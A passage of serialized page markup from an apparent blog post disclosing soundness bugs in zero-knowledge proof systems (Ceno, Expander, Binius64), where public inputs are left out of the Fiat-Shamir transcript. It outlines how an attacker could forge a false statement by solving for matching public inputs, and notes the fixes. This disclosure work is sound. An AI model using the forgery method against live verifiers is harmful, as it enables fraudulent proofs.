"children":123120},{"className":123119},[7172,7173,7174,7175],[123121],{"type":24,"tag":930,"props":123122,"children":123124},{"className":123123},[7126,7175],[123125],{"type":30,"value":1818},{"type":24,"tag":930,"props":123127,"children":123129},{"className":123128},[24846],[123130],{"type":30,"value":24849},{"type":24,"tag":930,"props":123132,"children":123134},{"className":123133},[7152],[123135],{"type":24,"tag":930,"props":123136,"children":123138},{"className":123137,"style":96195},[7157],[123139],{"type":24,"tag":930,"props":123140,"children":123141},{},[],{"type":24,"tag":930,"props":123143,"children":123145},{"className":123144},[7126],[123146,123151],{"type":24,"tag":930,"props":123147,"children":123149},{"className":123148},[7126,24690],[123150],{"type":30,"value":22378},{"type":24,"tag":930,"props":123152,"children":123154},{"className":123153},[7142],[123155],{"type":24,"tag":930,"props":123156,"children":123158},{"className":123157},[7147,24743],[123159,123188],{"type":24,"tag":930,"props":123160,"children":123162},{"className":123161},[7152],[123163,123183],{"type":24,"tag":930,"props":123164,"children":123166},{"className":123165,"style":96164},[7157],[123167],{"type":24,"tag":930,"props":123168,"children":123169},{"style":96168},[123170,123174],{"type":24,"tag":930,"props":123171,"children":123173},{"className":123172,"style":7167},[7166],[],{"type":24,"tag":930,"props":123175,"children":123177},{"className":123176},[7172,7173,7174,7175],[123178],{"type":24,"tag":930,"props":123179,"children":123181},{"className":123180},[7126,7175],[123182],{"type":30,"value":1818},{"type":24,"tag":930,"props":123184,"children":123186},{"className":123185},[24846],[123187],{"type":30,"value":24849},{"type":24,"tag":930,"props":123189,"children":123191},{"className":123190},[7152],[123192],{"type":24,"tag":930,"props":123193,"children":123195},{"className":123194,"style":96195},[7157],[123196],{"type":24,"tag":930,"props":123197,"children":123198},{},[],{"type":24,"tag":930,"props":123200,"children":123202},{"className":123201,"style":7207},[7206],[],{"type":24,"tag":930,"props":123204,"children":123206},{"className":123205},[7212],[123207],{"type":30,"value":1400},{"type":24,"tag":930,"props":123209,"children":123211},{"className":123210,"style":7207},[7206],[],{"type":24,"tag":930,"props":123213,"children":123215},{"className":123214},[7115],[123216,123220,123277,123334,123338,123343],{"type":24,"tag":930,"props":123217,"children":123219},{"className":123218,"style":123083},[7120],[],{"type":24,"tag":930,"props":123221,"children":123223},{"className":123222},[7126],[123224,123229],{"type":24,"tag":930,"props":123225,"children":123227},{"className":123226},[7126,24690],[123228],{"type":30,"value":37},{"type":24,"tag":930,"props":123230,"children":123232},{"className":123231},[7142],[123233],{"type":24,"tag":930,"props":123234,"children":123236},{"className":123235},[7147,24743],[123237,123266],{"type":24,"tag":930,"props":123238,"children":123240},{"className":123239},[7152],[123241,123261],{"type":24,"tag":930,"props":123242,"children":123244},{"className":123243,"style":96164},[7157],[123245],{"type":24,"tag":930,"props":123246,"children":123247},{"style":96168},[123248,123252],{"type":24,"tag":930,"props":123249,"children":123251},{"className":123250,"style":7167},[7166],[],{"type":24,"tag":930,"props":123253,"children":123255},{"className":123254},[7172,7173,7174,7175],[123256],{"type":24,"tag":930,"props":123257,"children":123259},{"className":123258},[7126,7175],[123260],{"type":30,"value":7129},{"type":24,"tag":930,"props":123262,"children":123264},{"className":123263},[24846],[123265],{"type":30,"value":24849},{"type":24,"tag":930,"props":123267,"children":123269},{"className":123268},[7152],[123270],{"type":24,"tag":930,"props":123271,"children":123273},{"className":123272,"style":96195},[7157],[123274],{"type":24,"tag":930,"props":123275,"children":123276},{},[],{"type":24,"tag":930,"props":123278,"children":123280},{"className":123279},[7126],[123281,123286],{"type":24,"tag":930,"props":123282,"children":123284},{"className":123283},[7126,24690],[123285],{"type":30,"value":22378},{"type":24,"tag":930,"props":123287,"children":123289},{"className":123288},[7142],[123290],{"type":24,"tag":930,"props":123291,"children":123293},{"className":123292},[7147,24743],[123294,123323],{"type":24,"tag":930,"props":123295,"children":123297},{"className":123296},[7152],[123298,123318],{"type":24,"tag":930,"props":123299,"children":123301},{"className":123300,"style":96164},[7157],[123302],{"type":24,"tag":930,"props":123303,"children":123304},{"style":96168},[123305,123309],{"type":24,"tag":930,"props":123306,"children":123308},{"className":123307,"style":7167},[7166],[],{"type":24,"tag":930,"props":123310,"children":123312},{"className":123311},[7172,7173,7174,7175],[123313],{"type":24,"tag":930,"props":123314,"children":123316},{"className":123315},[7126,7175],[123317],{"type":30,"value":7129},{"type":24,"tag":930,"props":123319,"children":123321},{"className":123320},[24846],[123322],{"type":30,"value":24849},{"type":24,"tag":930,"props":123324,"children":123326},{"className":123325},[7152],[123327],{"type":24,"tag":930,"props":123328,"children":123330},{"className":123329,"style":96195},[7157],[123331],{"type":24,"tag":930,"props":123332,"children":123333},{},[],{"type":24,"tag":930,"props":123335,"children":123337},{"className":123336,"style":7207},[7206],[],{"type":24,"tag":930,"props":123339,"children":123341},{"className":123340},[7212],[123342],{"type":30,"value":1400},{"type":24,"tag":930,"props":123344,"children":123346},{"className":123345,"style":7207},[7206],[],{"type":24,"tag":930,"props":123348,"children":123350},{"className":123349},[7115],[123351,123355,123360,123364,123369],{"type":24,"tag":930,"props":123352,"children":123354},{"className":123353,"style":113316},[7120],[],{"type":24,"tag":930,"props":123356,"children":123358},{"className":123357},[7126,24690],[123359],{"type":30,"value":6268},{"type":24,"tag":930,"props":123361,"children":123363},{"className":123362,"style":7304},[7206],[],{"type":24,"tag":930,"props":123365,"children":123367},{"className":123366},[7309],[123368],{"type":30,"value":1161},{"type":24,"tag":930,"props":123370,"children":123372},{"className":123371,"style":7304},[7206],[],{"type":24,"tag":930,"props":123374,"children":123376},{"className":123375},[7115],[123377,123381],{"type":24,"tag":930,"props":123378,"children":123380},{"className":123379,"style":97143},[7120],[],{"type":24,"tag":930,"props":123382,"children":123384},{"className":123383},[7126],[123385],{"type":30,"value":1818},{"type":24,"tag":100,"props":123387,"children":123388},{},[123389,123391],{"type":30,"value":123390},"Bilinear (from multiset): ",{"type":24,"tag":156,"props":123392,"children":123394},{"className":123393},[7098,7099],[123395],{"type":24,"tag":930,"props":123396,"children":123398},{"className":123397},[7104],[123399],{"type":24,"tag":930,"props":123400,"children":123402},{"className":123401,"ariaHidden":7110},[7109],[123403,123429,123507,123585,123611],{"type":24,"tag":930,"props":123404,"children":123406},{"className":123405},[7115],[123407,123411,123416,123420,123425],{"type":24,"tag":930,"props":123408,"children":123410},{"className":123409,"style":96027},[7120],[],{"type":24,"tag":930,"props":123412,"children":123414},{"className":123413,"style":97541},[7126,24690],[123415],{"type":30,"value":91752},{"type":24,"tag":930,"props":123417,"children":123419},{"className":123418,"style":7207},[7206],[],{"type":24,"tag":930,"props":123421,"children":123423},{"className":123422},[7212],[123424],{"type":30,"value":113737},{"type":24,"tag":930,"props":123426,"children":123428},{"className":123427,"style":7207},[7206],[],{"type":24,"tag":930,"props":123430,"children":123432},{"className":123431},[7115],[123433,123437,123494,123498,123503],{"type":24,"tag":930,"props":123434,"children":123436},{"className":123435,"style":122529},[7120],[],{"type":24,"tag":930,"props":123438,"children":123440},{"className":123439},[7126],[123441,123446],{"type":24,"tag":930,"props":123442,"children":123444},{"className":123443},[7126,24690],[123445],{"type":30,"value":22378},{"type":24,"tag":930,"props":123447,"children":123449},{"className":123448},[7142],[123450],{"type":24,"tag":930,"props":123451,"children":123453},{"className":123452},[7147,24743],[123454,123483],{"type":24,"tag":930,"props":123455,"children":123457},{"className":123456},[7152],[123458,123478],{"type":24,"tag":930,"props":123459,"children":123461},{"className":123460,"style":96164},[7157],[123462],{"type":24,"tag":930,"props":123463,"children":123464},{"style":96168},[123465,123469],{"type":24,"tag":930,"props":123466,"children":123468},{"className":123467,"style":7167},[7166],[],{"type":24,"tag":930,"props":123470,"children":123472},{"className":123471},[7172,7173,7174,7175],[123473],{"type":24,"tag":930,"props":123474,"children":123476},{"className":123475},[7126,7175],[123477],{"type":30,"value":1818},{"type":24,"tag":930,"props":123479,"children":123481},{"className":123480},[24846],[123482],{"type":30,"value":24849},{"type":24,"tag":930,"props":123484,"children":123486},{"className":123485},[7152],[123487],{"type":24,"tag":930,"props":123488,"children":123490},{"className":123489,"style":96195},[7157],[123491],{"type":24,"tag":930,"props":123492,"children":123493},{},[],{"type":24,"tag":930,"props":123495,"children":123497},{"className":123496,"style":7207},[7206],[],{"type":24,"tag":930,"props":123499,"children":123501},{"className":123500},[7212],[123502],{"type":30,"value":113737},{"type":24,"tag":930,"props":123504,"children":123506},{"className":123505,"style":7207},[7206],[],{"type":24,"tag":930,"props":123508,"children":123510},{"className":123509},[7115],[123511,123515,123572,123576,123581],{"type":24,"tag":930,"props":123512,"children":123514},{"className":123513,"style":123083},[7120],[],{"type":24,"tag":930,"props":123516,"children":123518},{"className":123517},[7126],[123519,123524],{"type":24,"tag":930,"props":123520,"children":123522},{"className":123521},[7126,24690],[123523],{"type":30,"value":22378},{"type":24,"tag":930,"props":123525,"children":123527},{"className":123526},[7142],[123528],{"type":24,"tag":930,"props":123529,"children":123531},{"className":123530},[7147,24743],[123532,123561],{"type":24,"tag":930,"props":123533,"children":123535},{"className":123534},[7152],[123536,123556],{"type":24,"tag":930,"props":123537,"children":123539},{"className":123538,"style":96164},[7157],[123540],{"type":24,"tag":930,"props":123541,"children":123542},{"style":96168},[123543,123547],{"type":24,"tag":930,"props":123544,"children":123546},{"className":123545,"style":7167},[7166],[],{"type":24,"tag":930,"props":123548,"children":123550},{"className":123549},[7172,7173,7174,7175],[123551],{"type":24,"tag":930,"props":123552,"children":123554},{"className":123553},[7126,7175],[123555],{"type":30,"value":7129},{"type":24,"tag":930,"props":123557,"children":123559},{"className":123558},[24846],[123560],{"type":30,"value":24849},{"type":24,"tag":930,"props":123562,"children":123564},{"className":123563},[7152],[123565],{"type":24,"tag":930,"props":123566,"children":123568},{"className":123567,"style":96195},[7157],[123569],{"type":24,"tag":930,"props":123570,"children":123571},{},[],{"type":24,"tag":930,"props":123573,"children":123575},{"className":123574,"style":7207},[7206],[],{"type":24,"tag":930,"props":123577,"children":123579},{"className":123578},[7212],[123580],{"type":30,"value":1400},{"type":24,"tag":930,"props":123582,"children":123584},{"className":123583,"style":7207},[7206],[],{"type":24,"tag":930,"props":123586,"children":123588},{"className":123587},[7115],[123589,123593,123598,123602,123607],{"type":24,"tag":930,"props":123590,"children":123592},{"className":123591,"style":96027},[7120],[],{"type":24,"tag":930,"props":123594,"children":123596},{"className":123595},[7126,24690],[123597],{"type":30,"value":73649},{"type":24,"tag":930,"props":123599,"children":123601},{"className":123600,"style":7304},[7206],[],{"type":24,"tag":930,"props":123603,"children":123605},{"className":123604},[7309],[123606],{"type":30,"value":1161},{"type":24,"tag":930,"props":123608,"children":123610},{"className":123609,"style":7304},[7206],[],{"type":24,"tag":930,"props":123612,"children":123614},{"className":123613},[7115],[123615,123619],{"type":24,"tag":930,"props":123616,"children":123618},{"className":123617,"style":97143},[7120],[],{"type":24,"tag":930,"props":123620,"children":123622},{"className":123621},[7126],[123623],{"type":30,"value":1818},{"type":24,"tag":33,"props":123625,"children":123626},{},[123627],{"type":30,"value":123628},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":24,"tag":33,"props":123630,"children":123631},{},[123632,123636,123638,123645,123647,123654],{"type":24,"tag":275,"props":123633,"children":123634},{},[123635],{"type":30,"value":119185},{"type":30,"value":123637}," Fixed on March 5, 2026 via ",{"type":24,"tag":37,"props":123639,"children":123642},{"href":123640,"rel":123641},"https://github.com/scroll-tech/ceno/pull/1262",[41],[123643],{"type":30,"value":123644},"PR #1262",{"type":30,"value":123646}," (original report: ",{"type":24,"tag":37,"props":123648,"children":123651},{"href":123649,"rel":123650},"https://github.com/scroll-tech/ceno/issues/1125",[41],[123652],{"type":30,"value":123653},"#1125",{"type":30,"value":6249},{"type":24,"tag":21895,"props":123656,"children":123657},{},[],{"type":24,"tag":151,"props":123659,"children":123661},{"id":123660},"expander-polyhedra",[123662],{"type":30,"value":123663},"Expander (Polyhedra)",{"type":24,"tag":33,"props":123665,"children":123666},{},[123667],{"type":30,"value":123668},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":24,"tag":33,"props":123670,"children":123671},{},[123672],{"type":24,"tag":275,"props":123673,"children":123674},{},[123675],{"type":30,"value":117891},{"type":24,"tag":920,"props":123677,"children":123679},{"code":123678},"Proof (raw bytes, parsed in order):\n    - PCS commitment\n    - Sumcheck round polynomials (for each layer)\n    - Layer claims (claim_x, claim_y)\n    - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n    - public_input    // statement data passed separately\n    - claimed_v       // statement claim passed separately\n",[123680],{"type":24,"tag":156,"props":123681,"children":123682},{"__ignoreMap":7},[123683],{"type":30,"value":123678},{"type":24,"tag":33,"props":123685,"children":123686},{},[123687,123689,123695],{"type":30,"value":123688},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":24,"tag":156,"props":123690,"children":123692},{"className":123691},[],[123693],{"type":30,"value":123694},"eval_cst",{"type":30,"value":123696}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":24,"tag":920,"props":123698,"children":123700},{"code":123699,"language":6101,"meta":7,"className":6102,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[123701],{"type":24,"tag":156,"props":123702,"children":123703},{"__ignoreMap":7},[123704],{"type":24,"tag":930,"props":123705,"children":123706},{"class":932,"line":933},[123707,123711,123716,123721,123725,123729,123733,123737,123742,123746,123751,123756,123760,123765],{"type":24,"tag":930,"props":123708,"children":123709},{"style":1023},[123710],{"type":30,"value":79711},{"type":24,"tag":930,"props":123712,"children":123713},{"style":1158},[123714],{"type":30,"value":123715}," -=",{"type":24,"tag":930,"props":123717,"children":123718},{"style":943},[123719],{"type":30,"value":123720}," GKRVerifierHelper",{"type":24,"tag":930,"props":123722,"children":123723},{"style":1158},[123724],{"type":30,"value":6597},{"type":24,"tag":930,"props":123726,"children":123727},{"style":1002},[123728],{"type":30,"value":123694},{"type":24,"tag":930,"props":123730,"children":123731},{"style":959},[123732],{"type":30,"value":1010},{"type":24,"tag":930,"props":123734,"children":123735},{"style":1158},[123736],{"type":30,"value":6230},{"type":24,"tag":930,"props":123738,"children":123739},{"style":1023},[123740],{"type":30,"value":123741},"layer",{"type":24,"tag":930,"props":123743,"children":123744},{"style":1158},[123745],{"type":30,"value":436},{"type":24,"tag":930,"props":123747,"children":123748},{"style":959},[123749],{"type":30,"value":123750},"const_, ",{"type":24,"tag":930,"props":123752,"children":123753},{"style":1023},[123754],{"type":30,"value":123755},"public_input",{"type":24,"tag":930,"props":123757,"children":123758},{"style":959},[123759],{"type":30,"value":962},{"type":24,"tag":930,"props":123761,"children":123762},{"style":1023},[123763],{"type":30,"value":123764},"sp",{"type":24,"tag":930,"props":123766,"children":123767},{"style":959},[123768],{"type":30,"value":1278},{"type":24,"tag":33,"props":123770,"children":123771},{},[123772,123774,123779],{"type":30,"value":123773},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":24,"tag":156,"props":123775,"children":123777},{"className":123776},[],[123778],{"type":30,"value":123764},{"type":30,"value":2716},{"type":24,"tag":33,"props":123781,"children":123782},{},[123783],{"type":24,"tag":275,"props":123784,"children":123785},{},[123786],{"type":30,"value":123787},"The vulnerability:",{"type":24,"tag":33,"props":123789,"children":123790},{},[123791,123796],{"type":24,"tag":156,"props":123792,"children":123794},{"className":123793},[],[123795],{"type":30,"value":123755},{"type":30,"value":123797}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":24,"tag":33,"props":123799,"children":123800},{},[123801],{"type":24,"tag":140,"props":123802,"children":123805},{"alt":123803,"src":123804},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":24,"tag":33,"props":123807,"children":123808},{},[123809,123810,123815],{"type":30,"value":259},{"type":24,"tag":156,"props":123811,"children":123813},{"className":123812},[],[123814],{"type":30,"value":123694},{"type":30,"value":123816}," function computes a linear combination:",{"type":24,"tag":33,"props":123818,"children":123819},{},[123820],{"type":24,"tag":156,"props":123821,"children":123823},{"className":123822},[7098,7099],[123824],{"type":24,"tag":930,"props":123825,"children":123827},{"className":123826},[7104],[123828],{"type":24,"tag":930,"props":123829,"children":123831},{"className":123830,"ariaHidden":7110},[7109],[123832,123877,124001],{"type":24,"tag":930,"props":123833,"children":123835},{"className":123834},[7115],[123836,123840,123849,123854,123864,123868,123873],{"type":24,"tag":930,"props":123837,"children":123839},{"className":123838,"style":97525},[7120],[],{"type":24,"tag":930,"props":123841,"children":123843},{"className":123842},[7126,30],[123844],{"type":24,"tag":930,"props":123845,"children":123847},{"className":123846},[7126],[123848],{"type":30,"value":40636},{"type":24,"tag":930,"props":123850,"children":123852},{"className":123851,"style":96112},[7126],[123853],{"type":30,"value":6204},{"type":24,"tag":930,"props":123855,"children":123857},{"className":123856},[7126,30],[123858],{"type":24,"tag":930,"props":123859,"children":123861},{"className":123860},[7126],[123862],{"type":30,"value":123863},"cst",{"type":24,"tag":930,"props":123865,"children":123867},{"className":123866,"style":7304},[7206],[],{"type":24,"tag":930,"props":123869,"children":123871},{"className":123870},[7309],[123872],{"type":30,"value":1161},{"type":24,"tag":930,"props":123874,"children":123876},{"className":123875,"style":7304},[7206],[],{"type":24,"tag":930,"props":123878,"children":123880},{"className":123879},[7115],[123881,123885,123942,123946,123973,123978,123983,123988,123992,123997],{"type":24,"tag":930,"props":123882,"children":123884},{"className":123883,"style":96054},[7120],[],{"type":24,"tag":930,"props":123886,"children":123888},{"className":123887},[24725],[123889,123894],{"type":24,"tag":930,"props":123890,"children":123892},{"className":123891,"style":24732},[24725,24730,24731],[123893],{"type":30,"value":111270},{"type":24,"tag":930,"props":123895,"children":123897},{"className":123896},[7142],[123898],{"type":24,"tag":930,"props":123899,"children":123901},{"className":123900},[7147,24743],[123902,123931],{"type":24,"tag":930,"props":123903,"children":123905},{"className":123904},[7152],[123906,123926],{"type":24,"tag":930,"props":123907,"children":123909},{"className":123908,"style":116682},[7157],[123910],{"type":24,"tag":930,"props":123911,"children":123912},{"style":24756},[123913,123917],{"type":24,"tag":930,"props":123914,"children":123916},{"className":123915,"style":7167},[7166],[],{"type":24,"tag":930,"props":123918,"children":123920},{"className":123919},[7172,7173,7174,7175],[123921],{"type":24,"tag":930,"props":123922,"children":123924},{"className":123923},[7126,24690,7175],[123925],{"type":30,"value":6854},{"type":24,"tag":930,"props":123927,"children":123929},{"className":123928},[24846],[123930],{"type":30,"value":24849},{"type":24,"tag":930,"props":123932,"children":123934},{"className":123933},[7152],[123935],{"type":24,"tag":930,"props":123936,"children":123938},{"className":123937,"style":116962},[7157],[123939],{"type":24,"tag":930,"props":123940,"children":123941},{},[],{"type":24,"tag":930,"props":123943,"children":123945},{"className":123944,"style":7245},[7206],[],{"type":24,"tag":930,"props":123947,"children":123949},{"className":123948},[7126],[123950,123959,123964],{"type":24,"tag":930,"props":123951,"children":123953},{"className":123952},[7126,30],[123954],{"type":24,"tag":930,"props":123955,"children":123957},{"className":123956},[7126],[123958],{"type":30,"value":64762},{"type":24,"tag":930,"props":123960,"children":123962},{"className":123961,"style":96112},[7126],[123963],{"type":30,"value":6204},{"type":24,"tag":930,"props":123965,"children":123967},{"className":123966},[7126,30],[123968],{"type":24,"tag":930,"props":123969,"children":123971},{"className":123970},[7126],[123972],{"type":30,"value":11476},{"type":24,"tag":930,"props":123974,"children":123976},{"className":123975},[24818],[123977],{"type":30,"value":6849},{"type":24,"tag":930,"props":123979,"children":123981},{"className":123980},[7126,24690],[123982],{"type":30,"value":6854},{"type":24,"tag":930,"props":123984,"children":123986},{"className":123985},[24840],[123987],{"type":30,"value":18514},{"type":24,"tag":930,"props":123989,"children":123991},{"className":123990,"style":7207},[7206],[],{"type":24,"tag":930,"props":123993,"children":123995},{"className":123994},[7212],[123996],{"type":30,"value":113737},{"type":24,"tag":930,"props":123998,"children":124000},{"className":123999,"style":7207},[7206],[],{"type":24,"tag":930,"props":124002,"children":124004},{"className":124003},[7115],[124005,124009,124018,124023,124028,124033,124037,124086],{"type":24,"tag":930,"props":124006,"children":124008},{"className":124007,"style":7227},[7120],[],{"type":24,"tag":930,"props":124010,"children":124012},{"className":124011},[7126,30],[124013],{"type":24,"tag":930,"props":124014,"children":124016},{"className":124015},[7126],[124017],{"type":30,"value":115064},{"type":24,"tag":930,"props":124019,"children":124021},{"className":124020},[24818],[124022],{"type":30,"value":1010},{"type":24,"tag":930,"props":124024,"children":124026},{"className":124025},[7126,24690],[124027],{"type":30,"value":6854},{"type":24,"tag":930,"props":124029,"children":124031},{"className":124030},[7238],[124032],{"type":30,"value":7241},{"type":24,"tag":930,"props":124034,"children":124036},{"className":124035,"style":7245},[7206],[],{"type":24,"tag":930,"props":124038,"children":124040},{"className":124039},[7126,114624],[124041],{"type":24,"tag":930,"props":124042,"children":124044},{"className":124043},[7147],[124045],{"type":24,"tag":930,"props":124046,"children":124048},{"className":124047},[7152],[124049],{"type":24,"tag":930,"props":124050,"children":124052},{"className":124051,"style":114710},[7157],[124053,124065],{"type":24,"tag":930,"props":124054,"children":124055},{"style":114641},[124056,124060],{"type":24,"tag":930,"props":124057,"children":124059},{"className":124058,"style":114646},[7166],[],{"type":24,"tag":930,"props":124061,"children":124063},{"className":124062,"style":96112},[7126,24690],[124064],{"type":30,"value":96931},{"type":24,"tag":930,"props":124066,"children":124067},{"style":114641},[124068,124072],{"type":24,"tag":930,"props":124069,"children":124071},{"className":124070,"style":114646},[7166],[],{"type":24,"tag":930,"props":124073,"children":124075},{"className":124074,"style":114734},[114664],[124076],{"type":24,"tag":930,"props":124077,"children":124079},{"className":124078,"style":114740},[114739],[124080],{"type":24,"tag":37362,"props":124081,"children":124082},{"xmlns":114744,"width":114745,"height":114746,"style":114747,"viewBox":114748,"preserveAspectRatio":114749},[124083],{"type":24,"tag":114752,"props":124084,"children":124085},{"d":114754},[],{"type":24,"tag":930,"props":124087,"children":124089},{"className":124088},[24840],[124090],{"type":30,"value":6249},{"type":24,"tag":33,"props":124092,"children":124093},{},[124094,124095,124164,124166,124171,124173,124178],{"type":30,"value":118311},{"type":24,"tag":156,"props":124096,"children":124098},{"className":124097},[7098,7099],[124099],{"type":24,"tag":930,"props":124100,"children":124102},{"className":124101},[7104],[124103],{"type":24,"tag":930,"props":124104,"children":124106},{"className":124105,"ariaHidden":7110},[7109],[124107],{"type":24,"tag":930,"props":124108,"children":124110},{"className":124109},[7115],[124111,124115],{"type":24,"tag":930,"props":124112,"children":124114},{"className":124113,"style":114710},[7120],[],{"type":24,"tag":930,"props":124116,"children":124118},{"className":124117},[7126,114624],[124119],{"type":24,"tag":930,"props":124120,"children":124122},{"className":124121},[7147],[124123],{"type":24,"tag":930,"props":124124,"children":124126},{"className":124125},[7152],[124127],{"type":24,"tag":930,"props":124128,"children":124130},{"className":124129,"style":114710},[7157],[124131,124143],{"type":24,"tag":930,"props":124132,"children":124133},{"style":114641},[124134,124138],{"type":24,"tag":930,"props":124135,"children":124137},{"className":124136,"style":114646},[7166],[],{"type":24,"tag":930,"props":124139,"children":124141},{"className":124140,"style":96112},[7126,24690],[124142],{"type":30,"value":96931},{"type":24,"tag":930,"props":124144,"children":124145},{"style":114641},[124146,124150],{"type":24,"tag":930,"props":124147,"children":124149},{"className":124148,"style":114646},[7166],[],{"type":24,"tag":930,"props":124151,"children":124153},{"className":124152,"style":114734},[114664],[124154],{"type":24,"tag":930,"props":124155,"children":124157},{"className":124156,"style":114740},[114739],[124158],{"type":24,"tag":37362,"props":124159,"children":124160},{"xmlns":114744,"width":114745,"height":114746,"style":114747,"viewBox":114748,"preserveAspectRatio":114749},[124161],{"type":24,"tag":114752,"props":124162,"children":124163},{"d":114754},[],{"type":30,"value":124165}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":24,"tag":156,"props":124167,"children":124169},{"className":124168},[],[124170],{"type":30,"value":123755},{"type":30,"value":124172},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":24,"tag":156,"props":124174,"children":124176},{"className":124175},[],[124177],{"type":30,"value":123755},{"type":30,"value":124179}," that makes the verifier's check pass.",{"type":24,"tag":33,"props":124181,"children":124182},{},[124183,124187,124189,124196,124197,124200,124207],{"type":24,"tag":275,"props":124184,"children":124185},{},[124186],{"type":30,"value":119185},{"type":30,"value":124188}," Fixed on 21st January 2026 via ",{"type":24,"tag":37,"props":124190,"children":124193},{"href":124191,"rel":124192},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[41],[124194],{"type":30,"value":124195},"commit 4a8c2be",{"type":30,"value":510},{"type":24,"tag":34060,"props":124198,"children":124199},{},[],{"type":24,"tag":37,"props":124201,"children":124204},{"href":124202,"rel":124203},"https://blog.polyhedra.network/expander-bug-bounty/",[41],[124205],{"type":30,"value":124206},"Claimed 500k Bug bounty",{"type":30,"value":124208}," award pending",{"type":24,"tag":21895,"props":124210,"children":124211},{},[],{"type":24,"tag":151,"props":124213,"children":124215},{"id":124214},"binius64",[124216],{"type":30,"value":110318},{"type":24,"tag":33,"props":124218,"children":124219},{},[124220,124222,124349],{"type":30,"value":124221},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":24,"tag":156,"props":124223,"children":124225},{"className":124224},[7098,7099],[124226],{"type":24,"tag":930,"props":124227,"children":124229},{"className":124228},[7104],[124230],{"type":24,"tag":930,"props":124231,"children":124233},{"className":124232,"ariaHidden":7110},[7109],[124234],{"type":24,"tag":930,"props":124235,"children":124237},{"className":124236},[7115],[124238,124243],{"type":24,"tag":930,"props":124239,"children":124242},{"className":124240,"style":124241},[7120],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":24,"tag":930,"props":124244,"children":124246},{"className":124245},[7126],[124247,124254],{"type":24,"tag":930,"props":124248,"children":124251},{"className":124249},[7126,124250],"mathbb",[124252],{"type":30,"value":124253},"F",{"type":24,"tag":930,"props":124255,"children":124257},{"className":124256},[7142],[124258],{"type":24,"tag":930,"props":124259,"children":124261},{"className":124260},[7147,24743],[124262,124337],{"type":24,"tag":930,"props":124263,"children":124265},{"className":124264},[7152],[124266,124332],{"type":24,"tag":930,"props":124267,"children":124269},{"className":124268,"style":114807},[7157],[124270],{"type":24,"tag":930,"props":124271,"children":124273},{"style":124272},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[124274,124278],{"type":24,"tag":930,"props":124275,"children":124277},{"className":124276,"style":7167},[7166],[],{"type":24,"tag":930,"props":124279,"children":124281},{"className":124280},[7172,7173,7174,7175],[124282],{"type":24,"tag":930,"props":124283,"children":124285},{"className":124284},[7126,7175],[124286],{"type":24,"tag":930,"props":124287,"children":124289},{"className":124288},[7126,7175],[124290,124295],{"type":24,"tag":930,"props":124291,"children":124293},{"className":124292},[7126,7175],[124294],{"type":30,"value":6244},{"type":24,"tag":930,"props":124296,"children":124298},{"className":124297},[7142],[124299],{"type":24,"tag":930,"props":124300,"children":124302},{"className":124301},[7147],[124303],{"type":24,"tag":930,"props":124304,"children":124306},{"className":124305},[7152],[124307],{"type":24,"tag":930,"props":124308,"children":124311},{"className":124309,"style":124310},[7157],"height:0.7463em;",[124312],{"type":24,"tag":930,"props":124313,"children":124314},{"style":114932},[124315,124319],{"type":24,"tag":930,"props":124316,"children":124318},{"className":124317,"style":111335},[7166],[],{"type":24,"tag":930,"props":124320,"children":124322},{"className":124321},[7172,111340,111341,7175],[124323],{"type":24,"tag":930,"props":124324,"children":124326},{"className":124325},[7126,7175],[124327],{"type":24,"tag":930,"props":124328,"children":124330},{"className":124329},[7126,7175],[124331],{"type":30,"value":32938},{"type":24,"tag":930,"props":124333,"children":124335},{"className":124334},[24846],[124336],{"type":30,"value":24849},{"type":24,"tag":930,"props":124338,"children":124340},{"className":124339},[7152],[124341],{"type":24,"tag":930,"props":124342,"children":124345},{"className":124343,"style":124344},[7157],"height:0.1776em;",[124346],{"type":24,"tag":930,"props":124347,"children":124348},{},[],{"type":30,"value":124350}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":24,"tag":33,"props":124352,"children":124353},{},[124354,124356,124361],{"type":30,"value":124355},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":24,"tag":275,"props":124357,"children":124358},{},[124359],{"type":30,"value":124360},"Shift Protocol",{"type":30,"value":124362}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":24,"tag":33,"props":124364,"children":124365},{},[124366],{"type":24,"tag":275,"props":124367,"children":124368},{},[124369],{"type":30,"value":123787},{"type":24,"tag":33,"props":124371,"children":124372},{},[124373],{"type":30,"value":124374},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":24,"tag":920,"props":124376,"children":124378},{"code":124377,"language":6101,"meta":7,"className":6102,"style":7},"pub fn verify\u003CF, C>(\n    constraint_system: &ConstraintSystem,\n    public: &[Word],    // \u003C- NEVER ABSORBED\n    // ...\n) -> Result\u003CVerifyOutput\u003CF>, 